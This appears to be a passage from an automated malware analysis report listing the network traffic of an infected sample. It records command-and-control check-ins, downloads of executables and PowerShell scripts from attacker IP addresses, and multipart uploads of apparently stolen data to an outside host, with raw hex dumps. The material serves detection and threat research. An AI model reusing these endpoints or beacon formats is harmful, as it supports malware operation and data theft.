76 11 c7 30 47 a9 ea d0 c0 f0 2c 22 32 b8 33 56 5e 0c f2 71 2f 3d 32 85 75 96 19 89 3e 29 f6 67 c9 ca e3 f6 9a eb f0 f5 f6 7f 95 8f 68 d5 fe cc 04 c0 e9 37 a6 ea 6d aa eb 6e 8d 93 7a 6c a1 3a 32 db 4d 53 4c 0c b1 21 36 a1 a0 ed 73 27 34 ed e0 9f 27 b6 6a 2d 24 05 11 46 1a 96 33 73 c0 91 d9 a2 3d 4e 1c ea 58 de 78 f0 19 62 46 b8 2c a8 a7 a5 0e 66 88 99 06 ac e3 43 eb a8 e8 03 a4 23 fc f7 80 cc 25 03 ff 56 ef d7 d7 ec 57 ae aa da f3 b0 6a 3e 7f 90 5a 3f 61 09 03 5c 63 d7 08 94 e6 c9 7f ca 0f cc d4 08 40 4d 71 b1 c6 24 56 1c cb 9c d2 e9 a8 ce 3b 8a 39 64 5d 46 87 6e 62 65 d4 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 57 73 61 67 6e 70 6d 44 71 31 67 5a 75 46 61 37 54 79 54 4b 59 32 2d 2d 0d 0a Data Ascii: --------------------------WsagnpmDq1gZuFa7TyTKY2Content-Disposition: form-data; name="file"; filename="Jacevug.bin"Content-Type: application/octet-streamJ@6/>0j(yPwn*(v0G,"23V^q/=2u>)gh7mnzl:2MSL!6s'4'j-$F3s=NXxbF,fC#%VWj>Z?a\c@Mq$V;9d]Fnbe--------------------------WsagnpmDq1gZuFa7TyTKY2--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 33 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008573041&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/DcDqduU.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 89527Content-Type: multipart/form-data; boundary=------------------------Mn2RbmmGKNX2IVvS0YVh9RData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4d 6e 32 52 62 6d 6d 47 4b 4e 58 32 49 56 76 53 30 59 56 68 39 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 69 64 65 68 61 6a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 7f 23 42 d3 ef 5c 42 cf c5 58 11 c2 28 99 01 b2 b0 86 5b 68 2d 6a 4f ad 52 9d 0d ab 8d 20 78 9d 5c e5 00 a7 7f de 53 7d 03 01 77 e6 02 1d c7 9e 87 86 af 1d cb ee 76 ad 2d 70 50 be f8 08 ee 03 64 b3 26 81 57 06 90 41 c9 99 43 48 42 36 e4 0c 03 33 8c 54 b2 9f ff 69 ec 88 f0 92 ef 39 ad c1 94 db 0a c8 1c 3e fc 48 00 ff 3a 0f a7 8e 04 08 42 46 0a 01 38 9d cc f2 fc 83 5f 9b ec 13 fb 10 78 7e 33 ca 17 e6 71 b6 10 ad 9a 99 01 3d 3a 90 37 ac a4 e0 40 8a 1f b3 a0 77 27 c0 21 05 9e 5c b6 e6 59 bd 5d 4b 6b f5 32 f5 22 17 4e b1 9b 35 f2 62 fe c2 e2 78 0d 37 db af 93 ca 00 45 fd 38 95 ec 30 8b 67 fb bd 6b 03 7b 07 79 6f 40 37 06 66 0d be 28 ad d5 03 6a 51 74 60 9a ea 5c df 24 52 23 90 39 f3 4d fd 17 1b 25 84 34 32 47 c4 01 bf 67 79 a3 15 8a a9 7d 5e f8 f9 ee 39 e8 a1 ea a1 d5 05 3a 71 b5 ab 88 a4 b7 ff 84 0f 55 29 ef 84 ae 06 d5 9d e6 a7 35 25 17 15 39 73 98 e9 08 f2 71 25 a1 d3 f4 dd b0 8b d1 4e 62 79 e1 66 c4 bf 86 df fa c8 bb e0 4f 2f 53 c0 f7 80 2b 2a 00 4b 34 99 c1 ce 8b e9 1e 03 f3 71 5c a8 89 26 ef 25 42 2a a2 b1 af 36 a9 ed 07 a7 aa 99 3a 91 67 ec ab 88 1c fc c7 d2 16 e3 5c 14 a7 63 94 24 9a fd 76 4a 73 63 54 f0 7e e5 c7 e7 66 68 10 b9 a5 eb 5c 5d 55 c5 2e 2c ff 94 4f 44 b4 7f 6e e0 19 1f c8 85 2c 69 2f 21 80 f0 85 0b e2 7f 8c 46 5b 6f 00 89 30 f9 7f da 32 4b ea 46 a8 bb 35 bf 20 f5 9e 14 eb 97 6b 0d 15 44 54 95 f4 b3 03 0c a6 da 98 10 14 c9 e1 ce 9c da 7f 04 50 b3 9d be 0d a8 22 c3 34 d9 95 9b c2 6d 08 a2 ab ae 5d 33 de 5e ac ac e5 b3 d8 88 78 46 e5 c9 64 c0 a8 02 a4 4f 3b 03 a7 da 5a d2 fc 38 81 b1 61 6c 38 f5 4a 0b 7f a7 75 d9 d9 a6 f1 7a a6 8b 97 63 35 dd c2 a3 1d 5f 62 3f 59 12 b9 e5 5f 0e 7d 24 82 5e bb 97 39 e7 01 ca 7d 76 e7 d0 eb f5 08 23 90 96 ff b6 cf 67 96 25 1b a6 51 b0 c6 82 31 36 1e 73 10 97 b4 f4 d3 15 d1 54 91 38 86 b8 4f fd 6e 12 69 c8 25 0f 93 13 f3 6b d9 43 b8 ab a5 31 8d a9 37 87 76 ad bc 0d 8f ff 6e 42 eb 2b 3c 70 01 74 3e 98 bf f8 04 d5 a6 0c 13 37 14 1c 70 46 6e 58 48 ac db 68 17 88 e1 30 65 ea 03 f9 3f 28 ed 97 18 0f 49 c1 7b eb 91 66 93 48 3f da 86 22 e0 70 cd f1 f8 39 2b 1a 04 fc d9 1c 3c ff a9 c3 2f 7c 1a b9 78 46 78 27 2a 9a e0 34 98 44 11 26 52 41 6c 65 ca 86 cf 16 83 4a f1 63 68 73 ec c2 7c 1e d1 51 c8 bc 6c 6b 96 33 fa 0e 16 2e 43 11 0c 34 c2 09 ab 0c 77 9b b2 2a 7c f7 51 88 25 ae 27 ad 0a 1a 7a 60 b0 1b 48 28 88 e3 ea 79 33 56 65 1f 91 15 88 e5 61 1c d6 65 6b
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 34 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008574041&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 30017Content-Type: multipart/form-data; boundary=------------------------z8I8usGQiZh8kd6Ck8zfh0Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 38 49 38 75 73 47 51 69 5a 68 38 6b 64 36 43 6b 38 7a 66 68 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 75 77 6f 73 6f 73 69 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 10 49 0f 31 f1 16 a0 88 13 ef bd 88 a1 e7 99 69 95 c7 5f c1 c4 b0 02 34 05 d0 fd 7c a1 47 cf 7b ab 98 06 d2 d8 c2 73 d9 f2 4e 9a 7a fb 53 d9 17 de e8 6a a7 ac f6 5b 38 49 dc 90 22 e3 85 3c 3e fc ba 64 68 7a 4a 3e 9d 0d 33 9d aa 6b 59 b1 19 4a 75 10 f5 fa 93 0e 94 2e 56 3e 41 94 30 24 42 05 72 58 94 6e 19 b8 23 2b b8 c2 c2 b9 df 14 09 97 f4 98 1f d4 5a 38 ef 4a f0 39 d3 59 bb 28 73 72 60 42 60 e9 f9 30 a1 7d d9 15 37 6a 28 f6 98 d6 66 27 eb 8b 2e 15 56 77 f0 b9 7d f4 d5 42 fe 2d 60 24 9d cd 53 76 0a e3 55 d4 45 9a c3 4b ea fc 7e 4e 8e 86 73 a2 2c 00 6f 56 0f ff ca f5 e1 df ad b6 ce df e2 78 d5 b6 8e f3 51 0d 25 37 f5 61 34 9c 5c ec 4c 1d fd 06 ee 0e 12 89 ec 90 44 94 68 e4 30 b9 d5 64 ab 4d eb 8f a1 1b 66 8b 4a ce a0 c3 25 09 94 60 cf 0b b5 16 2f 07 20 c5 17 c9 9b b9 81 34 e5 31 82 d8 82 23 44 6c d8 4d a5 cf cd ad 1e d7 f3 37 cb 2f c3 82 e1 5d c0 69 74 7f 51 8e 76 68 1f 9c 3e d1 ff 20 44 7c 7a 4b c6 26 6c 2b 41 a3 15 4b 51 72 27 f5 a0 b1 60 2e a1 a3 f9 63 6a 48 09 cc 58 a1 12 95 bc ca 28 d9 25 1a cd c7 a8 87 85 30 d5 d8 aa 7a 04 cf 9a 40 72 fb 54 42 a2 78 40 fc 4e 9c 43 e4 fc ba cf 90 d2 a2 a5 1a 06 d4 8f f2 80 94 6c 57 65 6c 34 67 1b 6c f9 02 b5 7d 04 66 ef 71 49 70 74 83 cc ef fb d0 d8 db 40 6f c5 07 11 0a 74 c4 c6 c7 62 c6 94 e6 25 3c cc 01 12 7c cc 99 d3 96 19 ff 30 b0 ce c1 3e c6 08 b4 71 a3 e3 95 75 f6 78 b7 66 a8 90 64 f5 a3 a4 b8 6a ab 8f 74 e6 ea ca dd 04 3a f8 ed 42 16 f9 a6 f7 4d 83 51 94 f4 71 fa e7 46 36 7f 03 6f 65 c2 0d d0 a2 ba 1a 09 38 50 4b 16 31 83 d2 e8 66 f2 d7 fa f4 08 89 65 67 ad 62 ca 05 8d e8 75 79 1e 2b ff 95 7d ae 43 09 db 1c 7c 6f d0 7c ee 32 7a 6a ab 7e f2 0e 27 21 c6 af db b5 d5 cf 57 fd 1d d2 e5 a4 72 d4 ec 70 ae ef 6c a0 64 2f af 1b 89 4e 48 d1 47 1b c8 6e 97 7f 43 7b 17 0a d6 50 b7 52 88 72 f7 a5 4d f6 af b9 ed 6c f1 b1 28 b4 b2 95 90 8b a7 2a 4b 8d 17 38 2d cc fd 00 61 4c 7f d0 22 29 e8 c1 ad a5 b2 f8 0b 88 4c 2e 43 59 74 91 dd c7 52 86 eb 28 28 c2 ac ce fd 0f 8b ec 12 ca ec a4 4b ff 40 6a a5 92 aa 35 b9 67 c3 50 8d 99 d3 22 50 4a d1 4c f1 82 f8 bd 9e 86 a3 5c 3a 57 85 00 7f a4 9d d3 ec a9 ae 5a 4e 9d 53 f6 0b 92 0c 7c b6 7c 1c 0d c6 62 d7 6f f2 e2 cd 8d 33 b3 c6 06 c6 4f 14 62 4c b4 f6 02 74 46 99 f0 ae e9 79 96 9c 6f 74 97 ea d6 8b 4b e9 6f 51 dc 44 98 5a 93 be 48 f1 2f 6f 72 cf b7 00 75 e5 ac 99 e1 6b ae 1f 7a 89 6d ab b1 08 f3 48 d9 b9 62 a7 88
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008575001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008576001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"mars------GDBFCGIIIJDBGCBGIDGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008577001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008578001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/x0xqqzB.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 37 39 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008579041&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"mars------GDBFCGIIIJDBGCBGIDGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="build"mars------GHIJJEGDBFIIDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
